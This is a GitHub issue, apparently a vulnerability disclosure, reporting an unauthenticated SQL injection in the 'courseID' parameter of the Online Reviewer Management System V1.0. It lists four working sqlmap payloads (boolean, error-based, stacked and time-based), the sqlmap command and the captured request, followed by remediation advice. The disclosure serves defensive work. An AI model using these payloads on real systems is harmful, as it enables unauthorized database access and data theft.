Skip to content

sourcecodester Online Reviewer Management System using PHP with Source Code V1.0 /reviewer_0/admins/assessments/course/btn_functions.php?action=remove&courseID=7 SQL injection #1

Description

@orzl1

sourcecodester Online Reviewer Management System using PHP with Source Code V1.0 /reviewer_0/admins/assessments/course/btn_functions.php?action=remove&courseID=7 SQL injection

NAME OF AFFECTED PRODUCT(S)

  • Online Reviewer Management System

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • 王梓龙、陈遥

Vulnerable File

  • /reviewer_0/admins/assessments/course/btn_functions.php?action=remove&courseID=7

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • A SQL injection vulnerability was found in the ' /reviewer_0/admins/assessments/course/btn_functions.php?action=remove&courseID=7' file of the 'Online Reviewer Management System' project. The reason for this issue is that attackers inject malicious code from the parameter 'courseID‘ and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

  • During the security review of "Online Reviewer Management System",I discovered a critical SQL injection vulnerability in the " /reviewer_0/admins/assessments/course/btn_functions.php?action=remove&courseID=7" file. This vulnerability stems from insufficient user input validation of the 'courseID' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability location:

  • 'courseID' parameter

Payload:

    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: action=remove&courseID=7' RLIKE (SELECT (CASE WHEN (9195=9195) THEN 7 ELSE 0x28 END))-- xgST

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: action=remove&courseID=7' AND GTID_SUBSET(CONCAT(0x717a6b7071,(SELECT (ELT(9220=9220,1))),0x71707a7171),9220)-- gixc

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: action=remove&courseID=7';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=remove&courseID=7' AND (SELECT 6945 FROM (SELECT(SLEEP(5)))PfJG)-- wqZx
---

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

 sqlmap.py -r 1.txt --dbs
1.txt

GET /reviewer_0/admins/assessments/course/btn_functions.php?action=remove&courseID=7 HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/reviewer_0/admins/assessments/course/index.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=gc0j198of4980l7p4olumqev0k
Connection: keep-alive


Image Image

Suggested repair

  1. Use prepared statements and parameter binding:
    Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

  2. Input validation and filtering:
    Strictly validate and filter user input data to ensure it conforms to the expected format.

  3. Minimize database user permissions:
    Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

  4. Regular security audits:
    Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions